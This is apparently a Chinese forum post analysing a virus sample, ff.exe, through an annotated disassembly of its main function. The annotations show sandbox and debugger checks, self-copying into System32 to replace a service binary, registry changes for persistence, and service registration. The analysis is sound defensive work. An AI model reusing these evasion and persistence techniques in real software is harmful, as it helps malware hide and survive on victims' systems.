刚刚看到一个朋友发了一个ff.exe的病毒样本，简单分析了下，不对的地方还请大家指正。
第一部分，主函数代码
004061D2 >/$ 55 push ebp ; Main
004061D3 |. 8BEC mov ebp, esp
004061D5 |. 81EC 1C030000 sub esp, 31C
004061DB |. 56 push esi
004061DC |. E8 FCAEFFFF call <取当前计算机用户名>
004061E1 |. E8 88AFFFFF call <检查沙箱> ; 看自己是不是在虚拟机或沙箱中运行
004061E6 |. 85C0 test eax, eax
004061E8 |. 0F85 2E010000 jnz 0040631C
004061EE |. E8 C3B1FFFF call <检查模块dbghelp.dll> ; 检查自己是否被调试
004061F3 |. 84C0 test al, al
004061F5 |. 0F85 21010000 jnz 0040631C
004061FB |. FF15 B8304100 call dword ptr [<&kernel32.GetCurrentProc>; [GetCurrentProcess
00406201 |. 8BF0 mov esi, eax
00406203 |. 56 push esi
00406204 |. E8 DDAFFFFF call 004011E6 ; 调用NativeAPI查询系统信息
00406209 |. 3C 01 cmp al, 1
0040620B |. 59 pop ecx
0040620C |. 75 08 jnz short 00406216
0040620E |. 6A 00 push 0 ; /ExitCode = 0
00406210 |. FF15 FC304100 call dword ptr [<&kernel32.ExitProcess>] ; \ExitProcess
00406216 |> 56 push esi ; /hObject
00406217 |. FF15 CC304100 call dword ptr [<&kernel32.CloseHandle>] ; \CloseHandle
0040621D |. E8 63B1FFFF call 00401385 ; 反调试代码
00406222 |. 3C 01 cmp al, 1
00406224 |. 75 08 jnz short 0040622E
00406226 |. 6A 00 push 0 ; /ExitCode = 0
00406228 |. FF15 FC304100 call dword ptr [<&kernel32.ExitProcess>] ; \ExitProcess
0040622E |> E8 42140000 call <GetAddress> ; 动态获取大量API函数地址
00406233 |. 833D 98584100 00 cmp dword ptr [415898], 0
0040623A |. 74 05 je short 00406241
0040623C |. E8 2F360000 call 00409870 ; 调用大量批处理来执行dos命令
00406241 |> 8365 F8 00 and dword ptr [ebp-8], 0
00406245 |. 8365 FC 00 and dword ptr [ebp-4], 0
00406249 |. 6A 02 push 2
0040624B |. C745 F0 34594100 mov dword ptr [ebp-10], 00415934 ; ASCII "lncmmmser"
00406252 |. C745 F4 46934000 mov dword ptr [ebp-C], 00409346
00406259 |. FF15 74AA4100 call dword ptr [41AA74] ; kernel32.SetErrorMode
0040625F |. BE 04010000 mov esi, 104
00406264 |. 8D85 E4FCFFFF lea eax, dword ptr [ebp-31C]
0040626A |. 56 push esi ; /BufSize => 104 (260.)
0040626B |. 50 push eax ; |PathBuffer
0040626C |. 6A 00 push 0 ; |/pModule = NULL
0040626E |. FF15 F4304100 call dword ptr [<&kernel32.GetModuleHandl>; |\GetModuleHandleA
00406274 |. 50 push eax ; |hModule
00406275 |. FF15 F8304100 call dword ptr [<&kernel32.GetModuleFileN>; \GetModuleFileNameA
0040627B |. 8D85 ECFEFFFF lea eax, dword ptr [ebp-114]
00406281 |. 56 push esi ; /DestSizeMax => 104 (260.)
00406282 |. 50 push eax ; |DestString
00406283 |. 68 0C594100 push 0041590C ; |SrcString = "%windir%\system"
00406288 |. FF15 BC304100 call dword ptr [<&kernel32.ExpandEnvironm>; \ExpandEnvironmentStringsA
0040628E |. BE 1C594100 mov esi, 0041591C ; ASCII "serivcers.exe"
00406293 |. 8D85 ECFEFFFF lea eax, dword ptr [ebp-114]
00406299 |. 56 push esi ; /<%s> => "serivcers.exe"
0040629A |. 50 push eax ; |<%s>
0040629B |. 8D85 E8FDFFFF lea eax, dword ptr [ebp-218] ; |
004062A1 |. 68 40624100 push 00416240 ; |format = "%s\%s"
004062A6 |. 50 push eax ; |s
004062A7 |. FF15 94314100 call dword ptr [<&msvcrt.sprintf>] ; \sprintf
004062AD |. 8D85 ECFEFFFF lea eax, dword ptr [ebp-114]
004062B3 |. 56 push esi
004062B4 |. 50 push eax
004062B5 |. E8 7D3C0000 call <CopySelfToSystem32> ; 复制自身到System32目录，并且替换Serivcers.exe
004062BA |. 83C4 18 add esp, 18
004062BD |. 85C0 test eax, eax
004062BF |. 74 35 je short 004062F6
004062C1 |. 8D85 E4FCFFFF lea eax, dword ptr [ebp-31C]
004062C7 |. 6A 01 push 1
004062C9 |. 50 push eax
004062CA |. 68 CB5C4100 push 00415CCB ; ASCII "systemxstuff"
004062CF |. 68 CC5B4100 push 00415BCC ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions"
004062D4 |. FF35 C85B4100 push dword ptr [415BC8]
004062DA |. E8 7A2E0000 call 00409159 ; 修改关键注册表项，关联病毒为explorer打开文件夹
004062DF |. 8D85 E8FDFFFF lea eax, dword ptr [ebp-218]
004062E5 |. 50 push eax
004062E6 |. E8 F8300000 call <注册系统服务>
004062EB |. 83C4 18 add esp, 18
004062EE |. 6A 01 push 1 ; /ExitCode = 1
004062F0 |. FF15 FC304100 call dword ptr [<&kernel32.ExitProcess>] ; \ExitProcess
004062F6 |> 68 24624100 push 00416224 ; ASCII "Enabled:Microsoft Enabled"
004062FB |. E8 00ADFFFF call 00401000
00406300 |. 59 pop ecx
00406301 |. 8D45 F0 lea eax, dword ptr [ebp-10]
00406304 |. 50 push eax
00406305 |. FF15 8CAA4100 call dword ptr [41AA8C] ; advapi32.StartServiceCtrlDispatcherA
0040630B |. 85C0 test eax, eax
0040630D |. 75 0D jnz short 0040631C
0040630F |. 8D85 E8FDFFFF lea eax, dword ptr [ebp-218]
00406315 |. 50 push eax
00406316 |. E8 C8300000 call <注册系统服务>
0040631B |. 59 pop ecx
0040631C |> 33C0 xor eax, eax
0040631E |. 5E pop esi
0040631F |. C9 leave
00406320 \. C2 1000 retn 10
用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
